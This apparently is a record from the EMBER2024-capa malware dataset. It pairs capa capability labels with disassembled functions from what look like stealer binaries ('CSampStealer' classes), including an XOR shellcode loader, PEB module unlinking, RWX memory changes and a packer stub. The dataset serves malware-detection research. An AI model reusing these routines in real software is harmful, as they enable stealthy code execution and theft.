joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007b84
Capabilities:
Get client handle via schannel
Get outbound credentials handle via credssp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor edi, edi
mov esi, ecx
push 0x1000dd98
push edi
mov dword [ebp - 0x10], edi
call dword [sym.imp.CRYPT32.dll_CertOpenSystemStoreA]
mov dword [0x100108ac], eax
test eax, eax
jne 0x10007bb9
mov eax, 0x8009030e
jmp 0x10007c2a
push ebx
push 0x38
push edi
mov ebx, 0x10010874
push ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [0x10010874], 4
cmp dword [ebp - 0x10], edi
je 0x10007bec
lea eax, [ebp - 0x10]
mov dword [0x10010878], 1
mov dword [0x1001087c], eax
lea eax, [ebp - 0xc]
mov dword [0x10010894], 0xa80
push eax
push esi
push edi
push edi
push ebx
push edi
push 2
push str.Microsoft_Unified_Security_Protocol_Provider
push edi
mov dword [0x100108a4], 0x400018
call dword [sym.imp.Secur32.dll_AcquireCredentialsHandleA]
mov esi, eax
pop ebx
cmp dword [ebp - 0x10], edi
je 0x10007c28
push dword [ebp - 0x10]
call dword [sym.imp.CRYPT32.dll_CertFreeCertificateContext]
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1000ba13
leave
ret
Function at 0x10008049
Capabilities:
Encrypt data via sspi
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, dword [0x1001086c]
mov dword [ebp - 0x5c], ecx
lea ecx, [ebp - 0x48]
push ecx
push 4
push eax
mov dword [ebp - 0x58], eax
call dword [sym.imp.Secur32.dll_QueryContextAttributesA]
test eax, eax
jne 0x10008198
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x48]
push edi
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
pop ecx
test edi, edi
jne 0x100080a0
mov eax, 0x80090304
jmp 0x10008197
test esi, esi
je 0x100080de
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100080a9
sub ecx, edx
cmp ecx, 1
jbe 0x100080de
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100080bc
sub ecx, edx
cmp byte [ecx + esi - 1], 0x2f
jne 0x100080de
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100080d1
sub ecx, edx
mov byte [ecx + esi - 1], al
push ebx
push dword [0x10010870]
mov ebx, dword [ebp - 0x48]
push esi
add ebx, edi
push str.GET__s_HTTP_1.0_r_nHost:__s_r_nUser_Agent:_Mozilla_5.0_r_nAccept:__r_n_r_n
push ebx
call fcn.1000b992
mov ecx, ebx
add esp, 0x10
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100080fe
mov eax, dword [ebp - 0x48]
sub ecx, edx
mov esi, dword [ebp - 0x58]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x20], ebx
lea eax, [ecx + ebx]
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x14], eax
xor ebx, ebx
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x34]
push ebx
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x54]
push eax
push ebx
push esi
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x18], 6
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x50], 4
call dword [sym.imp.Secur32.dll_EncryptMessage]
test eax, eax
js 0x10008196
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x34]
push ebx
push eax
push edi
push dword [ebp - 0x5c]
call dword [0x10010ce8]
cmp eax, 0xffffffff
je 0x1000818a
test eax, eax
je 0x1000818a
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
xor eax, eax
jmp 0x10008196
push esi
call dword [sym.imp.Secur32.dll_DeleteSecurityContext]
mov eax, 0x80090304
pop ebx
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1000ba13
leave
ret
Function at 0x1000879e
Capabilities:
Get client handle via schannel
Get inbound credentials handle via credssp
Get outbound credentials handle via credssp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x24]
mov esi, ecx
push eax
push 0x59
push edx
call dword [sym.imp.Secur32.dll_QueryContextAttributesA]
test eax, eax
jne 0x1000886e
mov eax, dword [ebp - 0x20]
xor ebx, ebx
mov dword [ebp - 0x34], eax
mov edi, ebx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x44], 0x20
mov dword [ebp - 0x40], str.1.3.6.1.5.5.7.3.2
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x30], eax
push edi
lea eax, [ebp - 0x44]
push eax
push 1
push ebx
push 1
push dword [0x100108ac]
call dword [sym.imp.CRYPT32.dll_CertFindChainInStore]
mov edi, eax
test edi, edi
je 0x1000886e
mov ecx, dword [edi + 0x10]
lea eax, [ebp - 0x1c]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x10]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [0x1001087c], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x1c], ecx
push eax
push ebx
push ebx
push 0x10010874
push ebx
push 2
push str.Microsoft_Unified_Security_Protocol_Provider
push ebx
mov dword [0x10010874], 4
mov dword [0x10010878], 1
call dword [sym.imp.Secur32.dll_AcquireCredentialsHandleA]
test eax, eax
jne 0x100087f2
push esi
call dword [sym.imp.Secur32.dll_FreeCredentialsHandle]
mov eax, dword [ebp - 0xc]
mov dword [esi], eax
mov eax, dword [ebp - 8]
mov dword [esi + 4], eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000ba13
leave
ret
Function at 0x10008f8c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movzx eax, word [0x1001001c]
push ebx
mov ebx, dword [sym.imp.VCRUNTIME140.dll___RTtypeid]
push esi
mov esi, dword [0x10010868]
mov dword [ebp - 0x14], eax
mov eax, dword [0x1001082c]
push edi
mov edi, ecx
mov dword [ebp - 0x10], eax
mov eax, dword [0x10010850]
mov ecx, 0x33ee0
mov dword [ebp - 0xc], eax
mov eax, dword [0x10010864]
mov dword [edi], vtable.CSampStealerR3.0
push edi
mov dword [ebp - 4], edi
mov dword [ebp - 8], eax
mov dword [esi], 0x69190
mov dword [esi + 4], 0x69291
mov dword [esi + 8], 0x69298
mov dword [esi + 0xc], 0x26e8cc
mov dword [esi + 0x10], 0x141a78
mov dword [esi + 0x14], 0x26e898
mov dword [esi + 0x18], 0x6ff17
mov dword [esi + 0x1c], _ctime64
mov dword [esi + 0x20], 0xf7b6
mov dword [esi + 0x24], ecx
mov dword [esi + 0x28], ecx
mov dword [esi + 0x2c], 0x33ee6
mov dword [esi + 0x30], 0x8ba0
mov dword [esi + 0x34], 0x53b90
mov dword [esi + 0x38], 0x121914
mov dword [esi + 0x58], eax
mov dword [esi + 0x3c], 0x33bd3
mov dword [esi + 0x40], 0x33bd8
call ebx
add eax, 4
mov dword [esp], 0x10010530
push eax
call dword [sym.imp.VCRUNTIME140.dll___std_type_info_name]
pop ecx
pop ecx
mov edx, eax
xor ecx, ecx
movzx eax, byte [edx + ecx]
mov edi, str.class_CSampStealerR3
cmp al, byte [edi + ecx]
mov edi, dword [ebp - 4]
jne 0x10009133
inc ecx
cmp ecx, 0x15
jne 0x1000905e
mov edi, dword [ebp - 8]
xor eax, eax
cmp dword [esi + 0x44], eax
je 0x10009092
cmp dword [esi + 0x48], eax
je 0x10009092
cmp dword [esi + 0x4c], eax
je 0x10009092
cmp dword [esi + 0x54], eax
jne 0x100090c3
mov eax, dword [edi + 0x26e8dc]
mov dword [esi + 0x44], eax
mov eax, dword [edi + 0x26e898]
mov dword [esi + 0x48], eax
mov eax, dword [edi + 0x26e8cc]
mov dword [esi + 0x4c], eax
mov eax, dword [edi + 0x121914]
push 0xfa
mov dword [esi + 0x54], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000907c
mov edi, dword [ebp - 4]
mov ecx, dword [0x10010828]
mov eax, dword [ebp - 0xc]
mov ebx, dword [ebp - 0x10]
mov dword [edi + 4], esi
mov dword [edi + 8], eax
mov dword [edi + 0xc], ebx
test ecx, ecx
je 0x100090eb
cmp dword [0x10010020], 0xe3296d
jne 0x10009105
mov eax, dword [esi + 0x44]
lea ecx, [eax + 0x131]
mov eax, dword [eax + 0x235]
mov dword [0x10010828], ecx
mov dword [0x10010020], eax
push ecx
call fcn.1000a27d
push 0
push 0x40
push 0x3e2
mov byte [ebx + 0x128], al
push dword [esi + 0x44]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x14]
mov word [edi + 0x20], ax
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 0x14
push 0x10
push edi
call ebx
pop ecx
mov ecx, eax
call fcn.1000887d
push eax
push str.RTTI_error_occurred_while_initializing_CSampStealerR3_object
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
int3
Function at 0x10009938
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movzx eax, word [0x1001001c]
push ebx
mov ebx, dword [sym.imp.VCRUNTIME140.dll___RTtypeid]
push esi
mov esi, dword [0x10010868]
mov dword [ebp - 0x14], eax
mov eax, dword [0x1001082c]
push edi
mov edi, ecx
mov dword [ebp - 0x10], eax
mov eax, dword [0x10010850]
mov ecx, 0x34620
mov dword [ebp - 0xc], eax
mov eax, dword [0x10010864]
mov dword [edi], vtable.CSampStealerR4_2.0
and dword [esi + 0x3c], 0
and dword [esi + 0x40], 0
push edi
mov dword [ebp - 4], edi
mov dword [ebp - 8], eax
mov dword [esi], 0x69900
mov dword [esi + 4], 0x69a01
mov dword [esi + 8], 0x69a08
mov dword [esi + 0xc], 0x26e9fc
mov dword [esi + 0x10], 0x141ba0
mov dword [esi + 0x14], 0x26e9c8
mov dword [esi + 0x18], 0x70667
mov dword [esi + 0x1c], 0xfaf0
mov dword [esi + 0x20], 0xfaf6
mov dword [esi + 0x24], ecx
mov dword [esi + 0x28], ecx
mov dword [esi + 0x2c], 0x34626
mov dword [esi + 0x30], 0x8f10
mov dword [esi + 0x34], 0x542d0
mov dword [esi + 0x38], 0x121a3c
mov dword [esi + 0x58], eax
call ebx
add eax, 4
mov dword [esp], 0x10010530
push eax
call dword [sym.imp.VCRUNTIME140.dll___std_type_info_name]
pop ecx
pop ecx
xor edx, edx
movzx ecx, byte [eax + edx]
mov edi, str.class_CSampStealerR4_2
cmp cl, byte [edi + edx]
mov edi, dword [ebp - 4]
jne 0x10009aac
inc edx
cmp edx, 0x17
jne 0x10009a02
mov edi, dword [ebp - 8]
xor eax, eax
cmp dword [esi + 0x44], eax
je 0x10009a36
cmp dword [esi + 0x48], eax
je 0x10009a36
cmp dword [esi + 0x4c], eax
je 0x10009a36
cmp dword [esi + 0x54], eax
jne 0x10009a67
mov eax, dword [edi + 0x26ea0c]
mov dword [esi + 0x44], eax
mov eax, dword [edi + 0x26e9c8]
mov dword [esi + 0x48], eax
mov eax, dword [edi + 0x26e9fc]
mov dword [esi + 0x4c], eax
mov eax, dword [edi + 0x121a3c]
push 0xfa
mov dword [esi + 0x54], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10009a20
mov edi, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
push dword [0x10010828]
mov ebx, dword [ebp - 0x10]
mov dword [edi + 4], esi
mov dword [edi + 8], eax
mov dword [edi + 0xc], ebx
call fcn.1000a27d
push 0
push 0x40
push 0x3e2
mov byte [ebx + 0x128], al
push dword [esi + 0x44]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x14]
mov word [edi + 0x1c], ax
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 0x14
push 0x10
push edi
call ebx
pop ecx
mov ecx, eax
call fcn.1000887d
push eax
push str.RTTI_error_occurred_while_initializing_CSampStealerR4_2_object
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
int3
Function at 0x10009c90
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movzx eax, word [0x1001001c]
push ebx
mov ebx, dword [sym.imp.VCRUNTIME140.dll___RTtypeid]
push esi
mov esi, dword [0x10010868]
mov dword [ebp - 0x14], eax
mov eax, dword [0x1001082c]
push edi
mov edi, ecx
mov dword [ebp - 0x10], eax
mov eax, dword [0x10010850]
mov ecx, 0x34620
mov dword [ebp - 0xc], eax
mov eax, dword [0x10010864]
mov dword [edi], vtable.CSampStealerR5.0
and dword [esi + 0x3c], 0
and dword [esi + 0x40], 0
push edi
mov dword [ebp - 4], edi
mov dword [ebp - 8], eax
mov dword [esi], 0x69900
mov dword [esi + 4], 0x69a01
mov dword [esi + 8], 0x69a08
mov dword [esi + 0xc], 0x26eb84
mov dword [esi + 0x10], 0x141d28
mov dword [esi + 0x14], 0x26eb50
mov dword [esi + 0x18], 0x70604
mov dword [esi + 0x1c], 0xfaf0
mov dword [esi + 0x20], 0xfaf6
mov dword [esi + 0x24], ecx
mov dword [esi + 0x28], ecx
mov dword [esi + 0x2c], 0x34626
mov dword [esi + 0x30], 0x8f10
mov dword [esi + 0x34], 0x542d0
mov dword [esi + 0x38], 0x121a3c
mov dword [esi + 0x58], eax
call ebx
add eax, 4
mov dword [esp], 0x10010530
push eax
call dword [sym.imp.VCRUNTIME140.dll___std_type_info_name]
pop ecx
pop ecx
xor edx, edx
movzx ecx, byte [eax + edx]
mov edi, str.class_CSampStealerR5
cmp cl, byte [edi + edx]
mov edi, dword [ebp - 4]
jne 0x10009e04
inc edx
cmp edx, 0x15
jne 0x10009d5a
mov edi, dword [ebp - 8]
xor eax, eax
cmp dword [esi + 0x44], eax
je 0x10009d8e
cmp dword [esi + 0x48], eax
je 0x10009d8e
cmp dword [esi + 0x4c], eax
je 0x10009d8e
cmp dword [esi + 0x54], eax
jne 0x10009dbf
mov eax, dword [edi + 0x26eb94]
mov dword [esi + 0x44], eax
mov eax, dword [edi + 0x26eb50]
mov dword [esi + 0x48], eax
mov eax, dword [edi + 0x26eb84]
mov dword [esi + 0x4c], eax
mov eax, dword [edi + 0x121a3c]
push 0xfa
mov dword [esi + 0x54], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10009d78
mov edi, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
push dword [0x10010828]
mov ebx, dword [ebp - 0x10]
mov dword [edi + 4], esi
mov dword [edi + 8], eax
mov dword [edi + 0xc], ebx
call fcn.1000a27d
push 0
push 0x40
push 0x3e2
mov byte [ebx + 0x128], al
push dword [esi + 0x44]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x14]
mov word [edi + 0x1c], ax
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 0x14
push 0x10
push edi
call ebx
pop ecx
mov ecx, eax
call fcn.1000887d
push eax
push str.RTTI_error_occurred_while_initializing_CSampStealerR5_object
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
int3
Function at 0x10009fb0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword fs:[0x30]
mov ecx, dword [0x10010834]
mov eax, dword [eax + 0xc]
add eax, 0xc
mov edx, dword [eax]
jmp 0x10009fd5
test edx, edx
je 0x1000a033
cmp dword [edx + 0x18], ecx
je 0x10009fdb
mov edx, dword [edx]
cmp edx, eax
jne 0x10009fca
leave
ret
mov dword [0x1001080c], ecx
mov ecx, dword [edx + 4]
mov dword [0x1001081c], edx
mov eax, dword [ecx]
mov dword [0x10010810], eax
mov eax, dword [edx + 0x14]
mov eax, dword [eax]
mov dword [0x10010818], eax
mov eax, dword [edx + 0xc]
mov eax, dword [eax]
mov dword [0x10010814], eax
mov eax, dword [edx]
mov dword [eax + 4], ecx
mov ecx, dword [edx + 4]
mov eax, dword [edx]
mov dword [ecx], eax
mov ecx, dword [edx + 0x10]
mov eax, dword [edx + 0x14]
mov dword [ecx + 4], eax
mov ecx, dword [edx + 0x14]
mov eax, dword [edx + 0x10]
mov dword [ecx], eax
mov ecx, dword [edx + 8]
mov eax, dword [edx + 0xc]
mov dword [ecx + 4], eax
mov ecx, dword [edx + 0xc]
mov eax, dword [edx + 8]
mov dword [ecx], eax
leave
ret

Function at 0x1000a52e
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
lea edi, [ecx + 0xd]
xor ebx, ebx
mov edx, edi
lea esi, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x1000a53f
sub edx, esi
je 0x1000a58c
push 0xfffffffffffffff3
pop eax
sub eax, ecx
mov esi, edi
mov dword [ebp - 4], eax
movsx eax, byte [esi]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isalnum]
pop ecx
test eax, eax
jne 0x1000a574
mov al, byte [esi]
cmp al, 0x5f
je 0x1000a574
cmp al, 0xc0
jl 0x1000a571
cmp al, 0xff
jle 0x1000a574
xor ebx, ebx
inc ebx
mov ecx, edi
inc esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000a57a
mov eax, dword [ebp - 4]
sub ecx, edx
add eax, esi
cmp eax, ecx
jb 0x1000a554
mov ecx, dword [0x10010808]
mov eax, dword [ecx]
call dword [eax + 0x10]
cmp byte [eax + 0xd], 0
jne 0x1000a5a0
xor ebx, ebx
inc ebx
test ebx, ebx
je 0x1000a5f2
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov ebx, dword [sym.imp.VCRUNTIME140.dll_strstr]
mov esi, eax
push 0x1000e170
push esi
call ebx
pop ecx
pop ecx
test eax, eax
je 0x1000a5f2
push 0x1000e170
push esi
call ebx
mov ebx, dword [sym.imp.VCRUNTIME140.dll_strchr]
push 0x20
lea esi, [eax + 3]
push esi
call ebx
add esp, 0x10
test eax, eax
je 0x1000a5f2
push 0x19
push esi
push edi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push 0x20
push edi
call ebx
add esp, 0x14
mov byte [eax], 0
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000a5f7
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov edi, dword [sym.imp.VCRUNTIME140.dll_strstr]
mov ebx, 0x1000e174
mov esi, eax
push ebx
push esi
call edi
pop ecx
pop ecx
test eax, eax
je 0x1000a658
push ebx
push esi
call edi
push 0x20
lea ebx, [eax + 3]
push ebx
call dword [sym.imp.VCRUNTIME140.dll_strchr]
add esp, 0x10
test eax, eax
je 0x1000a658
push 0x20
call fcn.1000bcf4
push 0x20
push ebx
push eax
mov dword [0x10010828], eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push 0x20
push dword [0x10010828]
call dword [sym.imp.VCRUNTIME140.dll_strchr]
add esp, 0x18
mov byte [eax], 0
mov ebx, 0x1000e178
push ebx
push esi
call edi
pop ecx
pop ecx
test eax, eax
je 0x1000a67d
push ebx
push esi
call edi
add eax, 3
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
add esp, 0xc
mov dword [0x10010020], eax
pop edi
pop esi
pop ebx
ret
Function at 0x1000b451
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword [ebp + 0xc], 1
jne 0x1000b4d5
mov eax, dword [ebp + 8]
mov dword [0x10010834], eax
push str.ashot_st
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov dword [0x10010824], eax
cmp dword [0x10010824], 0
jne 0x1000b4d5
push str.ashot_st
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x10010824], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10010800], eax
push str.ws2_32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [0x100107fc], eax
mov byte [0x100107cf], 1
xor eax, eax
mov byte [ebp - 1], al
mov dword [ebp - 8], 0x1000b66c
push 0
push 0
push dword [ebp - 8]
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthread]
add esp, 0xc
cmp dword [ebp + 0xc], 5
jne 0x1000b4fe
push dword [0x10010834]
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
call fcn.1000b67b
push 0
push 0
push 0x1000aba3
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthread]
add esp, 0xc
xor eax, eax
inc eax
leave
ret 0xc
Function at 0x10006089
Capabilities:
Resume thread

Disassembly:
push 0x10
mov eax, 0x10011324
call fcn.10010dbc
mov ebx, ecx
mov dword [ebp - 0x18], ebx
cmp byte [ebx + 4], 0
jne 0x100061ed
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
cmp eax, dword [ebx]
jne 0x100061ed
push 0x1000334a
push 0xd008
call fcn.100062eb
mov edi, eax
mov dword [ebp - 0x1c], edi
pop ecx
pop ecx
test edi, edi
je 0x100061e6
push 0xc000
xor ebx, ebx
push ebx
push edi
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xc000], ebx
lea eax, [edi + 0xc004]
push 0x1000
push ebx
push eax
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xd004], ebx
test edi, edi
je 0x100061e6
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
lea ecx, [ebp - 0x1c]
call fcn.100062eb
mov ecx, edi
mov dword [ebp - 4], ebx
call fcn.100062eb
mov esi, eax
push esi
push 0x10003028
mov dword [ebp - 0x10], esi
call fcn.100062eb
pop ecx
pop ecx
test esi, esi
jne 0x1000619a
mov ecx, edi
call fcn.100062eb
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100061fa
mov eax, dword [eax]
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x10014250]
mov ecx, dword [ebp - 0x14]
call esi
call fcn.100062eb
test eax, eax
je 0x10006190
jg 0x10006175
mov esi, eax
mov dword [ebp - 0x10], eax
jmp 0x10006181
movzx esi, ax
or esi, 0x80070000
mov dword [ebp - 0x10], esi
push esi
push 0x10003050
call fcn.100062eb
pop ecx
pop ecx
jmp 0x1000619a
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x10]
mov byte [eax + 4], 1
lea ecx, [ebp - 0x1c]
call fcn.1000704c
lea eax, [edi + 0xc000]
mov dword [ebp - 0x1c], eax
cmp dword [eax], ebx
jbe 0x100061ce
lea esi, [edi + 8]
test byte [esi - 4], 1
je 0x100061c3
push dword [esi]
call dword [sym.imp.kernel32.dll_ResumeThread]
mov eax, dword [ebp - 0x1c]
inc ebx
add esi, 0xc
cmp ebx, dword [eax]
jb 0x100061b2
mov esi, dword [ebp - 0x10]
mov ecx, edi
call fcn.100062eb
push 0xd008
push edi
call fcn.100062eb
pop ecx
pop ecx
mov eax, esi
jmp 0x100061f2
mov eax, 0x8007000e
jmp 0x100061f2
mov eax, 0x800710dd
call fcn.10010d85
ret 4
call fcn.100062eb
int3

Function at 0x100062eb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x100062fa
pop dword [ebp - 4]
mov eax, 0xcef39fc7
sub eax, 0xbef33ccd
sub dword [ebp - 4], eax
push 0x40
push 0x1000
push 0x39368
push 0
mov eax, 0x43450469
add eax, 0xccbc3bfb
add eax, dword [ebp - 4]
call dword [eax]
mov ecx, 0xf9aa1608
sub ecx, 0xf9a9cd45
xor esi, esi
add esi, eax
mov edi, 0x10018600
add edi, dword [ebp - 4]
mov edx, 0x763dbde7
sub edx, 0x544ac4b0
mov ebx, dword [edi]
xor ebx, edx
mov dword [esi], ebx
add esi, 4
add edi, 0x284f0ed
sub edi, 0x284f0e9
loop 0x10006355
add eax, 0x22755dbd
sub eax, 0x227447de
mov ebx, eax
add eax, 0xd179c4cc
add eax, 0x2e863b39
mov ecx, 0x10000000
add ecx, dword [ebp - 4]
call ebx
leave
ret
Function at 0xa16c10
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x4a2015
lea edi, [esi - 0xa1015]
push edi
or ebp, 0xffffffff
jmp 0xa16c32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xa16c39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xa16c28
mov eax, 1
add ebx, ebx
jne 0xa16c4b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xa16c5c
jne 0xa16c7b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xa16c7b
dec eax
add ebx, ebx
jne 0xa16c68
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0xa16c40
add ebx, ebx
jne 0xa16c77
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0xa16ccd
xor ecx, ecx
sub eax, 3
jb 0xa16c93
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xa16d02
sar eax, 1
mov ebp, eax
jmp 0xa16c9e
add ebx, ebx
jne 0xa16c9e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xa16c6c
inc ecx
add ebx, ebx
jne 0xa16cac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xa16c6c
add ebx, ebx
jne 0xa16cb9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xa16cae
jne 0xa16cca
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xa16cae
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xa16cec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xa16cde
jmp 0xa16c2e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xa16cec
add edi, ecx
jmp 0xa16c2e
pop esi
mov edi, esi
mov ecx, 0x76
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0xa16d0a
cmp byte [edi], 0
jne 0xa16d0a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0xa16d0f
lea edi, [esi + 0x614000]
mov eax, dword [edi]
or eax, eax
je 0xa16d7e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x6160dc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x61612c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xa16d3c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x616130]
or eax, eax
je 0xa16d78
mov dword [ebx], eax
add ebx, 4
jmp 0xa16d59
call dword [esi + 0x616140]
mov ebp, dword [esi + 0x616134]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xa16db2
sub esp, 0xffffff80
jmp 0x401ae1